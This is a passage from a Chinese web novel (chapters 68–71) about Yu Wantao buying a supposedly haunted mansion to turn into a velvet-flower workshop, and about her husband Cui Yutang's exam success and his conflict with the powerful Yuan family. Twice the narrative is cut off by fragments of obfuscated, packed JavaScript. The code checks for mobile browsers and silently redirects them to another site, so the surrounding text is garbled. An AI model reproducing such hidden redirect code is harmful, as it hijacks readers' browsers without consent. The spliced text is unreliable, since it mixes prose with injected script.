“去找师傅们拿些粗布来包好，这些团扇用料虽粗糙，但胜在双面刺绣别出心裁，拿回县里应该能信销。” 余晚桃越过大殿，到静室去休息，想着距离下山还有一段时间，她便问小沙弥借了笔墨来，等余小器跑完一趟拿了粗布来，就将信递给他。 “你去后山集会上，寻到刚才摆摊卖团扇的贞娘，这封信给她。” 余小器哦了一声，接过信，扭头小跑出去。 - 余晚桃虽得了徐元氏邀请，但今儿一整日都没真正与人搭上话，直至回去时，徐元氏仿佛才想起有这号人，将她招到跟前来，同几个顽得好的手帕交介绍着。 话里只说是刘云娘家那头来的姑娘。 “原是容县那头来的，我说呢，若以前见过这般标致的姑娘，怎会没印象呢。”，一貌美婉约的妇人笑着打趣，十分自然地从腕间脱了只碧绿色的玉镯子下来，强硬地戴到余晚桃手上。 “夫人，这镯子太贵重了，我不能收。”余晚桃连连推辞。 “左右不过一只玉镯子，有甚贵重的，拿着吧。” 徐元氏乐道:“给你就收着吧，她这是瞧你合眼缘呢，我记得这玉镯子当时云姐儿也得了一只，是吧？” “母亲没记错，我也得了一只的。”，刘云乖巧点头。 余晚桃只得收下，并小心翼翼应对着问话。 一日了，从弘恩寺回来，才彻底松了口气，爬山不累，提着心应付那些夫人们却给累得够呛。 余晚桃早早便洗漱睡下，只翌日天未亮，便有鸡鸣起。 余晚桃恍恍惚惚地觉着自己是还睡着大桑村的老屋里，不然怎么会听到鸡叫声的，她梦里颠倒了两三回，才真真切切地睁眼。 “东家——！”，余小器扯着嗓在外头拍门，“我们隔壁那大宅子来了一帮天师驱邪，说我们院临着，也得跟着驱。” 68. 第68章 小院隔壁是一座荒废的宅院，门庭萧条，杂草丛生，正大门上还悬挂着两只破败渗人的白灯笼。 早前租小院，刘云便提醒过她隔壁有座荒宅，流传着些不太好的事，让她莫要往那处过走动。 只是不曾想，这所谓不太好的事，竟是闹鬼。 余晚桃站在李子树下，让一神神道道的老婆子拿着桃枝沾符水从头撒到脚，屋里念一圈出来，与隔壁宅院那户人家道:“此处邪祟连四周的宅院都霸占了，老身无能为力，尔等一家还是趁早将这宅子过出去吧，这宅子的风水正冲撞着你家中子孙后代，若再拖下去，恐怕……” “张神婆！这邪祟真除不掉吗？” 张神婆摇摇头，忽然一脸惶恐地看向余晚桃身后那颗李子树，颤着手指大呼道:“今日老身上门怕是惊动了那东西，不出三日，它必会来夺人性命！” 一听到会被索命，那户人家吓得立刻下跪，惊恐道:“张神婆救命！这鬼宅我们不要了，明天——不！今日就去府衙过掉，您定要救救我们啊！” 张神婆深沉点头:“你们能想明白就好，老身神通两界，修道半生只为救苦救难，此次便豁出这条老命，替你们顶了这次灾祸，只是那邪祟只认宅子主人，若要老身顶灾，还需将宅子过户到老身名下方可。” “都听张神婆的！” 这张神婆，打着驱邪的名头招摇撞骗，显然是为了诓骗人家的宅院。 余晚桃心如明镜，刚欲开口却又看到那户人家朝荒宅那头拜，嘴里念念有词:“小婶，你的死真跟我们没关系啊，要怪只怪老天爷不给你活路，你到了地底下找阎王爷申冤去罢，莫要缠着自家人了，你这宅子我们也不要了！” 说话间，那人不知从何处掏了张陈旧泛黄的纸出来，烫手一般着急忙慌地扔给张神婆，谁料纸张轻薄，阴差阳错到了余晚桃手上。 是张宅契。 余晚桃粗略看了一眼，发现是张宅契，心里头起了心思。 张神婆眼睛一眯，作势来抢。 “干嘛！”，余小器拿扁担出来对着她:“你这疯婆子来我们这耍了一通疯癫还想欺负人不成，我家公子可是秀才郎，出来招摇撞骗也不先打听清楚。” 张神婆听见这户还是个秀才人家，面上肉眼可见地慌了慌，不过很快镇定下来，故作沉重道:“那是大凶的宅契，你们没有修道是压不住的，仔细惹祸上身。” “张神婆许是不知，我天生八字硬，那些个小鬼见了我都得绕道走。” 余晚桃笑吟吟地转向宅子主人，道:“张神婆方才说了，只要将这宅子转出去你们就能平安，与其白送给张神婆，不如卖于我，正好我想看看，那邪祟敢不敢来找我。” 宅子主人愣住了，完全不知竟有人上赶着买鬼宅，他呆声道:“你……你要买这鬼宅？” “是啊，不行？” “不行！”，张神婆大声道:“这鬼宅必须过户给我，才能镇压得住邪祟。” 余晚桃轻飘飘打量着她，弯眸道:“我昨儿刚去了一趟弘恩寺，得了方丈亲自拿到佛祖面前开光过的平安符，张神婆莫不是觉得自己比弘恩寺的大师们道行还要高？” 弘恩寺乃南地第一法寺，寺庙里还供奉着皇亲国戚呢，一个乡下神婆，如何能与之相比。 张神婆眼睛骨碌转着，许是不舍得放弃到嘴的肥肉，仍旧想贪这宅子。 她凶眉横眼，警告道:“你非要买这宅子，回头若是出了事，把命丢这，可就不值当了。” “张神婆这话是何意？” 余晚桃言笑晏晏，清亮的眸子一眨不眨地看着她，“一座鬼宅而已，值得张神婆这般不舍，莫不是这宅子其实不是鬼宅？” 张神婆冷笑:“原主人家母子俩可是活生生吊死在那正中厅堂的房梁上，每逢夜里都能听着凄哟哟的哭声，姑娘若是觉得自己命硬，老身也不再多说甚么了，只望着你到时候别跪着来求我救你。” 场面到这地步便僵住了。 这时小院外响起敲门声，一灰衣小厮见院门开着，便朝里喊:“余娘子，我是元府里遣来的下人，元夫人吩咐小的过来取昨儿说好的簪盒。” “进来吧。” 余晚桃回屋将那簪盒拿出来，递过去给他。 知她做簪子手艺了得，昨儿下山时徐元氏便说了想买些回去，正巧她得空时做了几支簪还未找到卖家，徐元氏便都要了，这朝才遣人上门来取。 小厮抱着簪盒，恭敬道:“夫人说银两给三少奶奶那边了，让您得了空过府一叙。” “好，劳烦带句话给你们三少奶奶，我这两日恐是走不开，等闲了再过府找她吃茶去。” 小厮领了话，便走了。 小厮一走，张神婆整张脸都涨红着，随后青白一片，哆哆嗦嗦地问:“小……小娘子还识得同知府的夫人？” 元府！ 这府城里，可就同知大人那一门敢自称元府。 余晚桃:“应该算识得？昨儿弘恩寺祈福，便是得了元夫人相邀的。” 张神婆倒抽一口冷气，心中惊骇彻底压过了恶念，哪里还敢算计别人去贪图宅子，这朝撞着天老爷顶，只能自认倒霉。 没了张神婆阻碍，余晚桃这鬼宅过户得十分顺利。 八十六两银子，便捡漏了三进大宅院。 那户人家是巴不得将鬼宅脱手，去府衙办好手续，拿了银子便拖家带口离开了府城。 余晚桃当时觉得不对劲，翌日去打听了一番，才知道其中弯弯绕绕。 宅子原主人是个跑商的，辛苦数年积攒家业，后在府城置办了这么个大宅子，成亲生子，可惜没多久就死在了跑商路上，留下孤儿寡母两人。 宅子原主人的大哥闻风而来，以女子不能立户为由霸占了这座宅子，一大家子好吃懒做，肆意挥霍家业，更欲逼其二嫁老员外，那妇人不愿意，就带着儿子吊死在自家里了。 从此后，这宅子里便夜夜哭声不断，成了远近闻名的鬼宅，再没人敢住进去。 心里有鬼，才会映射到现实里来。 余晚桃不信鬼神，却也为那对枉死的母子感到惋惜，去看宅子时，在正厅堂外的院里点了三根香，又拜了拜，才开始打量宅院布置。 三进大宅院，进门是一绕首屏风，两侧都可进去，前院宽阔，正中步入待客厅堂，左右两边是曲廊，草色荒芜，漆掉瓦落。 走过曲廊来到中院，四合天井式的布置，四周都是房间，天井石子小路，中间养着一樽干涸的假山泉，再往里进，便是女眷居住的后院，还独立分着好几个小院子出去，上边歪歪斜斜挂着匾额。 对大贵之家来说三进的宅院许是会小一些，不过对余晚桃来说，确实恰恰合适的，改造一下，这儿便是顶好的庄子，缫丝、纺织、做簪，既能容纳住宿的女工，又能发展绒花品作业。 “东家，我们以后要住在这里吗？”，余小器心里毛毛的，这宅子怎么都不像能住人的样。 余晚桃跨出门槛，“这宅院还得重新设计，我打算做成绒花庄子。” 目前宅院的布局显得太阴了，多出累赘的建筑遮挡了阳光，也太过于突出一种封建等级的思想，由她来成算，该拆的拆，该打通的墙就打通，再把居住和上工的区域划分出来。 余晚桃是个雷厉风行的性子，当天回来便仔细将宅院原布局描出来，再空着铺平一纸张，哪出要改的，改成甚么样都仔细画出来，细处出来了再把整体的布局微微调整，一座崭新的宅院跃然于纸上。 设计图稿好了，她又去府城里找了好些专门做宅子的工队询问，对比。 忙碌间，已然到了府试结束时。 余晚桃带着余小器去考院外接人。 几日未见，书生面容看着憔悴许多，不过身姿依然挺拔 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另一砂锅炖的羊肉也好了，她拿布隔着热将砂锅端下灶台，掀开小盖后里面的香味顷刻便飘了出来。 “好香啊！”，余小器抹抹嘴，哈喇子险些掉出来。 “小心些端出去。”，余晚桃叮嘱完，继续忙活其他菜。 崔玉棠洗漱完，换了身衣裳清清爽爽地出来了，没多久，与他互结的同窗陆续过来，几个风度翩翩的书生朗声谈着笑，院门又开着，惹得旁的邻居频频往这头看。 “弟妹这手艺真是绝了，崔兄得妻如此，真令人羡煞啊，等这次考完，回去就让我娘提亲！”，刘郯吃着菜，浅啄着小酒，没别的话，就是羡慕。 游子涧跟着感叹:“是啊，看二郎这逍遥日子，我都想成亲了。” 余晚桃低头吃饭，没有搭话。 她可没忘记这二位都是窈儿的备选成亲对象。 “怎不吃菜？”，崔玉棠对同窗们的抱怨置若罔闻，伸箸给身旁埋头扒饭的娘子夹了一块炖得软呼的羊肉。 余晚桃抬眼，正对上他投过来的关切视线。 她缓缓摇头:“只是在想其他的事，你考得如何了？” 若府试能中，紧接着便是院试，松懈不得。 崔玉棠展颜一笑:“许是不错？应当能给你添个秀才娘子的名头。” “喈！”刘郯闻言大呼:“崔兄果然胸有成竹，哥哥落榜以后就靠你拉拔了！” “好没志气。”，游子涧撇他一眼。 刘云仰头灌酒，悲伤道:“我对自己的学问还是有自知之明的，这次恐真没机会了。” 崔玉棠拍拍他肩，以作安慰。 七月中府衙外出了红榜，崔玉棠稳坐榜首，刘郯果真如他预想的那般，落了榜，游子涧成绩稳定，和县试一样稳稳排在前十位置。 其余两位互结的也都落榜了，互结五人中，只有崔玉棠和游子涧二人考中了。 来不及庆祝，院试紧接而至。 另一边余晚桃也将改造绒花庄子一事提上了日程，只是府城里的工队死咬着鬼宅不吉利的点，叫价很高，她便迟迟没定下来。 其中也有一小插曲，当日在弘恩寺给了信那团扇摊贞娘，许久未得回信，还以为就此过了这茬，没想到两日前贞娘却寻上门来了。 贞娘得知她有了在府城开庄子的打算，更是高兴，原本说服了家里人搬去容县，这下更好，不用搬了，还能跟着主家住到府城庄子里去。 余晚桃自然欢喜她的加入，二人当日就签了招工文书。 次日，她写信回容县，给窈儿和余天庆说了府城的事，本意是报平安，谁料没几日，几辆马车风尘仆仆地赶到了府城来。 69. 小三元 余天庆的到来，着实让余晚桃惊讶。 原是她在信里抱怨了两句府城里工队故意抬价，不如容县人实诚的事，余天庆就将养蚕大棚的活托给了族叔们，自己带着村里年轻健壮的汉子赶府城里来了。 论建造宅院，余天庆是一把好手，以前帮县里不少老爷建过房子，由他带着自己村里的年轻汉子们干活，决计不会有偷工减料那等子事儿发生。 余晚桃心里实在熨帖，真真切切体会到了有族人帮扶的好处。 府城里的人听惯了传言，对鬼宅心里怵，但他们外地来的，可不会管恁些事，休息一日后就开/干了，轮着大锤子风风火火地开始砸墙。 头两日都在拆墙，修建宅院外围，一些累赘的墙体被拆除后，太阳光线照着，院里明亮通透，四面墙体换了镂空的花砖，雅致又不挡光线。 第三日订购的新瓦和墙漆到了，便开始照着设计图稿将院里收整起来。 余晚桃亲自去府城下临近的几个县城里询价比价，采买木材和砖瓦，这一趟下来要了几日功夫，等她从外地回来时，便瞧见在院里干活的人堆里，多了个书生。 余天庆在一脸认真地教人刷墙漆，甚至有种嫌弃书生笨手笨脚的架势，他余光瞧见余晚桃身影，摆摆手道:“桃子回来了，你过去吧，这面墙我自己刷就成。” 说罢就将毛刷抢了过来。 崔玉棠悻悻地收手了。 余晚桃见他给自己整得浑身脏兮兮的，就差没跟其他汉子一样光着膀子干活，没忍住失笑道:“怪我忙着，都忘了你院试结束的日子。” 崔玉棠眸子黯然:“家里生计都是你忙活着，我都帮不上什么，累你多辛劳了。” 余晚桃并不觉得辛苦，反而很充实。 来府城后她每日不是待在家里做簪子，便是让云姐儿寻去元府里说话解闷，没事可做，无聊得紧。 这朝阴差阳错买了座宅院，倒是忙活起来了，人也活泛不少，每日元气满满的，干劲十足，想着庄子往后赚钱的营生，更有奔头。 只是书生心思怪敏感的。 余晚桃故意板着脸，严肃地戳戳他肩膀，“知道我辛劳可得多帮衬些，眼下你也考完了，可不能再每日闷在屋里看书，你有把子力气，明日起就帮着去卸木材。” “还要做饭。”，她煞有其事地补充。 “好。”，崔玉棠缓缓露出笑容。 考试结束后府城里肉眼可见的少了许多书生，一些自知落榜的，早早便收拾了包袱回乡去。 刘郯就是其一，他同崔玉棠辞了别，便先一步回了容县。 游子涧要留下来等院试揭榜，每日在府城里游手好闲，最后无聊了便跟着崔玉棠去瞧他家里庄子改造的进程，兴致来了更是不拘一格地动起手来。 七月暑天，酷热难耐，经过半月努力，绒花庄子在八月初正式落成。 恰好此时，院试揭榜。 不出意料，崔玉棠依旧稳坐榜首，一夜之间，小三元的名头传遍了府城。 官府的人敲锣打鼓上门报喜时，游子涧也在，着实跟着扬了一阵名，他考了第八名，也算不错，但也没这待遇，得府衙遣人亲自过来报喜，还有赏赐。 兄弟二人互相恭维了一番，直至陈家来人寻，游子涧方才离去。 院里剩下的人，最高兴的要属余天庆。 他欣慰得连连点头，一时激动下竟不知如何组织语言，最后只沉默地憋出一句“好样的！” 考上秀才这是天大的喜事，若是在村里定要大办一场的，不过眼下虽不能大办，但也得好酒好肉备起，庆祝一番。 翌日还要去参加鹿鸣宴，崔玉棠便没吃酒，早早遣散了酒席，又应付走好些上门来道贺的同窗，才掩上门，浸着夜色解衣上榻。 自来了府城便一直各自忙着，这一刻仿佛才真正松快下来，心头如释重负。 “阿桃，我们成亲满一年了。” “是啊，日子过得真快。”，余晚桃翻身，将双手合上垫在侧脸压着软枕，借着摇曳的烛光将视线凝在崔玉棠脸上。 崔玉棠也静静地看着她，温柔的眼眸清澈映照着她的面容，一如往昔。 一年过去，有得也有失，余晚桃已经很少去想去上辈子的事，恍惚间让她产生一种感觉，或许将来有一日，她会彻底忘了上一世的记忆，成为真真切切的生活在大魏朝的普通女娘。 崔玉棠轻声道:“距离乡试还有两年，这两年我应该会在府城进学，咱们家的庄子若能顺利开起来，在府城也不算坐吃山空了。” “我听说廪生每个月都会有廪俸，官府还会赏田地米禄，免赋税，我们要不要囤些田地？” 这年头吃穿米粮最为重要，家里有田地才会踏实，时刻积攒着存粮，将来若遇上个天灾人祸的动乱，也能自给自足，不至于沦落到无米下锅的地步。 崔玉棠道:“官府赏田地都是在户籍所在地，我们村里许久未曾出过秀才，官田都还齐整着，但估计是赏个四五亩，不会太多。” “也可以自己买，多囤些水田，到时雇几户佃农就是，我们家现下不用缴纳赋税，该有些自己的田产，否则个个上门求着挂靠田地，谁应付得过去。”，余晚桃左思右想，觉得自己考虑的不无道理。 她们家里亲戚少，但村里人都看着呢，挂靠田地自然是可以的，只是谁的多谁的少，做不到公平，后面免不了会有怨言。 崔玉棠欣然道:“你考虑得周全，我都听你的。” “既都听我的，那明日去鹿鸣宴，可要少吃点酒。”，余晚桃嘀咕:“若再吃醉了被人抬回来，我可不管你。” 崔玉棠与她玩笑:“我眼下可是府城里炙手可热的小三元，你若是不管我，仔细教别家姑娘惦记了去。” 余晚桃压根没担心过这回事。 她抿着嘴唇，不以为意:“反正不是你惦记别人就成，我可是‘糟糠之妻’，一家之主，敢动歪主意看我不收拾你。” 可不就是糟糠之妻嘛，想当初她嫁人的时候，书生可还不是秀才郎，而是个傻子。 刚嫁人就被抄家，是一点没沾着崔家光鲜亮丽时的好处，还险些被连累发配西北去。 “阿桃，你我微寒之际成了夫妻，一路相伴至今日，其中情分自不用言。” 崔玉棠眸色温柔至极，他俯身过去，蜻蜓点水般覆上余晚桃的唇，轻轻碾了下，才退开。 余晚桃听到了自己如擂鼓般的心跳声。 摸着下唇犹烫的温度，泛水的眸子狠狠瞪了一眼轻薄自己的书生，只是翻过身的瞬间，脸颊却红透了。 翌日鹿鸣宴，崔玉棠风度翩翩地出了门。 余晚桃在府城酒楼里定的包厢，给余天庆等人送行。 眼下第一批蚕快结茧了，余天庆赶着回去，不愿在府城多留。 临走前只叮嘱着余晚桃，忙完府城的事尽早回村，村里人估计已经知晓崔玉棠考中了秀才，正等着要办流水席庆祝呢。 余晚桃一一应了，看着马车走远。 回到小院里，贞娘恰来寻她，二人便一道探讨起绒花手艺来，余晚桃有心学双面刺绣，她专注盯着贞娘起针线，捻着细针灵活地来回翻转着，动作利索，针脚细密，俨然十分精于此道。 贞娘见她看得认真，便放慢了速度，笑着说道:“这手艺活就得多练，就像你掐丝做绒花，我看着简单，但实际做起来却十分难，这双面刺绣则是看起来难，做起来更难，你若真心想学，便得下狠功夫。” 余晚桃晃着脑袋，不得不承认贞娘说得有道理，她从小便学绒花，从蚕丝到成品一步步熟悉，经年累月地反复练习，到如今闭着眼睛，光凭感觉都可以做出一根绒花簪来，其中辛苦只有自己知晓。 刺绣她从前倒有些基础，好阵时间研究过苏绣的手艺，双面绣着实是头一回接触。 余晚桃对双面刺绣很感兴趣，贞娘也耐心教，给她讲一些双面刺绣的艺技，这门手艺没甚家传的保密性，谁都能学，就是没几个能耐住性子学出来的。 将近傍晚时，贞娘要赶着回家去，余晚桃便歇了好学的心思，将人送出去。 庄子刚落成还得通一阵风，眼下尚不能住进去，贞娘和家里人依旧住在城外，每日来回奔走着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252681|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 天色渐暗，门外却静悄悄的。 余晚桃吃了晚饭，独自在灶房里烧水，迟迟听不到书生归家的脚步声，心里不由担心起来。 书生一早便带着余小器去参加鹿鸣宴了，都这个时辰还不见回来，甚么酒宴，能喝上一天去？ 眼看着都亥时了，余晚桃实在放心不下，干脆起身进屋换了衣裳，自己收拾着出门接人去。 鹿鸣宴是在府城最好的文人楼里举办的，余晚桃驾着自家马车，就停在文人楼外边，看着夜里从楼内陆陆续续出来的人。 这一等便是整一时辰。 随着声吆喝，一行秀才郎们晃晃悠悠地出来，隔着几步距离走在一身穿官紫色常袍的中年人后面，唯有一年轻男子是与他并肩而行的。 余晚桃一眼便认出了那就是云姐儿的夫君元修己。 那中间的，当是元郡松，江南府同知。 秀才们陆陆续续被家里人接走，余晚桃心急自家书生，原想就在这处等着人过来，却见元郡松父子将人独自留下了，不知说了些甚，书生面色瞧上去有些复杂。 余晚桃按耐不住跳下马车去接人。 “二郎。”，她清亮地喊了一声过去，打断了文人楼门口的对话。 崔玉棠闻声回头，匆匆对元郡松作了一揖:“大人，许是学生久久未归，家中内人担忧便出来寻了。” 元郡松抚着下颚胡须，声音里听不出情绪，只道:“既家里人来寻，那便早些回去吧。另外本官方才与你说的，你回去可好好斟酌着，修己比你早两年考中秀才，又有本官亲自教导，若能得这样一位师兄，于你将来科举仕途百利而无一害。” “学生愚钝，实在——” “回吧。”，元郡松挥手打断了他的话，将人打发走。 崔玉棠只能再度拱手，转身朝余晚桃走去，他紧绷住脊背，嘴唇抿紧，直至上了马车，才呼出一口浊气，轻拭去额际薄汗，闭眼靠在车壁内缓和心绪。 余晚桃虽然担忧，却并未主动问他。 余小器是全程经历了鹿鸣宴上风波的，他气不过，张牙舞爪地对余晚桃告状:“那元大人太可恶了！看中少爷小三元的名声，想将少爷收入门下，少爷婉拒了。” “那元大人原是歇了收门生的心思，却有一书生将少爷的身份捅了出去，不知怎的回事，元大人态度立马变了，甚屡次刁难少爷，暗中施压要少爷妥协，一场鹿鸣宴下来，少爷应付得实在辛苦。” 余晚桃皱眉道:“鹿鸣宴不都是知府主持的吗？知府大人是何态度？” “知府大人来了一会，有公务在身便先走了，鹿鸣宴后面全然成了元家父子挑选门生的场子。” “元郡松，许是知道当初大伯那件案子的实情。”，崔玉棠倏地睁眼，眸色冷然，紧握着拳打在车壁上。 崔家大伯崔海为江南府上一任同知，因贪污案下台后，元郡松才被提了上来，崔海在江南府经营多年，名声甚广，贪污案起后崔家便成了人们茶余饭后的谈资。 崔家一案，他虽因非亲生而逃过一劫，但实实在在由崔家抚养长大，如今算是崔家留在府城里唯一的根子。 崔家人再度出现，当年知晓实情的人，恐都坐不住了。 “二郎，别冲动。” 元家在江南府权势滔天，现阶段想要与他们正面抗衡，当是蜉蝣撼树，鸡蛋碰石头，没有一点胜算的。 崔玉棠垂眸，敛去眼底偏执，“我知道，阿桃，我只是不甘心。” 不甘心被人任意摆布，处处受人掣肘。 更是迫切地想知道导致崔家被抄的原因，到底是什么。 “过几天是元府老太太寿宴，云姐儿早前便给了帖子，让我带着你一道去。”，余晚桃一脸晦气道:“早知道沾上元家就没好事，我明儿就拒了云姐儿，我们尽早回容县吧，免得在府城里久待，多生事端。” 崔玉棠摇头，道:“还要等府学的名帖下来，报了名才能回去。” 崔玉棠为廪生，自然是有资格入府学的。 只是左等右等，入学名帖没等到，却先等来了元府老太太的寿宴。 70. 第 70 章 元府老夫人寿宴，江南府地的官员几乎都来了，门庭之贵，在此尽显。 余晚桃和崔玉棠在这场豪宴里，可谓是极不起眼，自递了帖子被小厮引进来，目之所及处几乎两步一官，官官不重样。 以他们的身份，这个时辰自然是不能没个眼力见的去拜见主家，只走个过场，吃杯酒，盼着今日顺顺当当地过去，最好别引起旁人注意。 只是，事终不如愿。 “崔秀才，又见面了。”，元修己从众多宾客里脱身，领着刘云走过来，观其面神采奕奕，俨然心情高致，甚至不吝啬于放下身段，主动与崔玉棠这等寒门学子搭话。 崔玉棠翩然作揖:“元兄。” “倒不成想，你我还有些渊源。”，元修己目光落在余晚桃身上，稍而移开，转头轻笑语闲:“云儿该早早与我说才是。” 刘云柔声抱怨:“我怎知夫君竟还识得晚桃姐姐家的相公，不过你们都是读书人，往后可一起探讨学问。” 元修己微笑:“这倒是，崔兄文采斐然，着实令元某佩服，想来是家学渊源颇深。” “元兄过誉。”，崔玉棠神色不变。 “崔兄谦虚了，说不准往后你我便是以师兄弟相称了。” 崔玉棠垂眸，脸上是一成不变的温和:“不久后你我同为府学学子，自然是以师兄弟相称。” 元修己脸上游刃有余的笑意淡了些。 “夫君”，刘云适时轻声唤他:“爹和大哥们似乎在寻你，前头宾客众多，你得去支应一二才是。” “这便去了。”，元修己悠然拂袖，转身离去。 元修己走远后，刘云才垮下脸，挨近余晚桃，小声询问:“方才气氛怪怪的，我夫君是不是和你家那位有龃龉？” “二郎素来不与我讲这些的，我哪里能知晓他的事。”，余晚桃在她手背轻拍了拍，便低垂着眉说道:“元老夫人想必这会正高兴着，其他几房怕是早早过去正堂给老人家祝寿了，我庄子那还有事，恐得提前走了，你也快些去陪老夫人吧。” 刘云闻言失落道:“我还想介绍你给祖母认识呢。” “云姐儿说笑了，这种场面，哪里是我能去的，强行现脸，只会叫人觉得阿谀奉承。” “好吧。”，刘云低声应着，余晚桃再三推辞，再迟钝她这会也察觉出了对方想要疏远的心思，到底是生分了，不似从前甚么话都能说。 宝盻在旁侧劝她:“主子，该去正堂那边了。” “这便过去了。”，刘云应了句，转身便走了，竟是连看都不曾看余晚桃一眼。 余晚桃兀自叹了一声，心想往后许是都不用再往来了，她侧身对崔玉棠道:“我们先回去吧。” 崔玉棠刚欲应好，便被一匆匆而来的丫鬟打断了话，“崔公子，崔娘子，前头宴席开始了，三少爷让奴婢带二位入席。” 余晚桃心往下沉了沉。 崔玉棠给了她一个安心的眼神，俯身过去轻声道了句，“别怕。”，而后冷下声音，让丫鬟在前面带路。 两人到正堂内时，众多宾客已然落座，两侧桌案为宾客席宴，元老夫人坐在正中位置，元郡松在其左下方，其余几房元府家眷依次而坐。 席间有舞乐轻巧之音，宾客们与元府众人觥筹交错，开怀畅谈，乍然一看不似寿宴，更像是为了拉拢关系而举办的歌舞宴。 崔玉棠与余晚桃被丫鬟引到了靠近大门处的席案边，此处距离元府众人甚远，只稀稀落落坐着几位元府的远房亲戚。 倒是还算清净。 余晚桃心中惴惴不安，视线落在案上，美酒佳肴精致讲究，金碟银盏翠玉杯，可谓十分奢靡，她摩挲着温凉的酒盏，眸色沉重。 “既来之，则安之。”，崔玉棠悠然挽袖，替她夹了一块白玉金丝酥。 余晚桃径自倒了一盏子酒，耳侧向前，一边分神听着宴会上的声音，一边道:“我看府城里的夫人们好奢华，这会也入夏了，你说我们庄子要是织些薄纱的蚕丝缎子，会不会很信销？” “要足够精美。”，崔玉棠简明道。 余晚桃摸着下巴打量那些夫人们身上的绸缎料子，不少都是掺了金丝织进去的，缝边没有一丝线头，全部都是采用内收式，且绣着寓意吉祥或华美繁复的纹样。 这样款式的成衣，作价定然很高，许还是定制的，她初来乍到，自然打不过府城里的大布庄，若想要从中分一杯羹，还是得从一个“新”字入手。 “府城里不缺专门做精美料子的大布庄，我倒是更倾向于做平价绸缎的市场，受众多，以量取胜。” 她有自己的养蚕大棚，绸缎原材是完全不缺的，这方面的成本只有人工费和运输费，至于铺面，直接在庄子里开一个院子口对外经营即可，省下的铺面租金，则可用于宣传。 余晚桃在心里默默完善着计划，在寿宴上也放松许多，若后头没甚么事牵扯到她家里书生，就更好了。 这朝刚祈祷完，便有一书生端着酒盏，满面笑容直奔她们这桌。 “崔兄，久仰大名！”，书生落落大方地作了自我介绍，言辞间甚为激动:“崔兄文采之高，实在令人佩服，希望来日府学，你我能有机会切磋一番当下政要策论。” 崔玉棠回以同窗礼，端起酒盏与之碰杯，温声应了话。 “某曾听闻崔兄学识过人是家学渊源，不知能否冒昧一问，崔兄师承何处？” 崔玉棠答得滴水不漏:“并无甚家学渊源，兄台过誉了。” “是嘛？”，一道声音横进来:“我怎么听说崔兄和咱府城那位前同知关系不浅呢。” “都是姓崔，难道……不可能吧。”，那人左顾右盼，压低声音不可思议道，“崔家人不是都被发配西北了吗？” “谁知道呢，说不定就有漏网之鱼。” 崔玉棠眸色倏地冷了。 “公子当真是白穿这一身儒生袍了，这种大逆不道的话都敢扬出来。”，余晚桃拍案而起，义愤填膺道:“当初的案子乃是知府大人亲自督判的，你此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272362|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所言，是在妄议知府大人办事不公？亦或是怀疑知府大人滥用职权，包庇罪臣族亲，还让他一路科考得了小三元的名头。” “正巧今日元大人在，你是哪家的书生，不妨这就与我们去当面问问。 余晚桃并未刻意压低自己的声音，反而抬高音量，将宴席上旁人的注意力都吸引过来了，宾客内议论声渐起。 元郡松端然坐于台上，只当看一场闹剧。 已是众之失地，崔玉棠自不可能让余晚桃在这时替自己出面去扛元府的谋算。 他慢条斯理地饮完了盏中酒水，腰背挺直，身姿清雅如竹，从容不迫地稳步上前，朗声道:“今儿元老夫人寿宴，晚辈待会若有失礼之处，烦请莫怪。” “元大人，近日府城学子里纷纷扬扬传着些流言，都在怀疑学生的家世有问题，更有甚者直言科考不公，若放任流言，不止会影响到学生接下来的科考之路，还会对府城各位评卷官大人的名声有碍。” 崔玉棠义正言辞:“希望元大人能为学生证清白！” 元郡松挑高一侧眉毛，意味深长道:“此事本官自会查明，流言真假，待查明真相后再做定论。” “大人英明！”，底下有人立刻拱手作应。 “父亲，我与崔公子同在容县长大，两家从前也有往来，容县人人皆知，他从儿时便失了神智，是崔家捡来的养子，并未入族谱，崔家被抄时便有官爷查了族谱，崔公子并不在崔家亲族之内。”，刘云忽而开口。 言外之意，崔家之罪，牵扯不到崔玉棠。 刘云此言刚落，便引来了元修己的警告，她全然当作看不见，说完话便低头吃茶，笑眯眯地陪着元老夫人身旁。 元修己不得不顶着父亲冷漠的眼神，站出来圆场子:“内子愚浅，不懂官场之事，诸位见笑了。” 刘云:“这也并非官场之事。” “云儿，莫要再说了。”，元修己嗓音阴沉，斥责之意明显，随后起身拱手，高声道“今日是祖母诞辰，诸位给元府一个面子，此事揭过了吧。” 言罢他朝崔玉棠比手，意思不言而喻。 崔玉棠微微拱手，回到席上悠然落座。 余晚桃实在没想到，刘云会在这时站出来替人说话，她有些复杂地朝上面看去，对上刘云的视线时，对方淡淡地移开了，就像刚才那番话当真只是随口一说。 可这随口一说，却是忤逆了元郡松父子的意思。 接下来的献礼环节余晚桃兴致缺缺，等到她制作的绒花寿桃摆件被抬上来，博得满堂喝彩和元老夫人欢心时，心情才稍稍轻松些。 元老夫人当真是喜爱极了这寿桃摆件，连带着夸了刘云好一阵，更是将戴了多年的玉扳指都脱下来，亲自给人戴上去。 并道:“我们妇道人家确实不懂官场上的事，不过你们一个两个的，在我这妇道人家的寿宴上占场子生事，要我说啊，不是云姐儿愚浅，而是你们太会算计。” 老太太明里暗里，给人撑腰，无一人敢反驳。 71. 第 71 章 元府书房—— “混账东西！”，元郡松猛拍向书案，将上头的折子挥开，哗啦一声尽数扫落，其中一折砸到元修己身上。 元修己只皱了皱眉，并未闪躲。 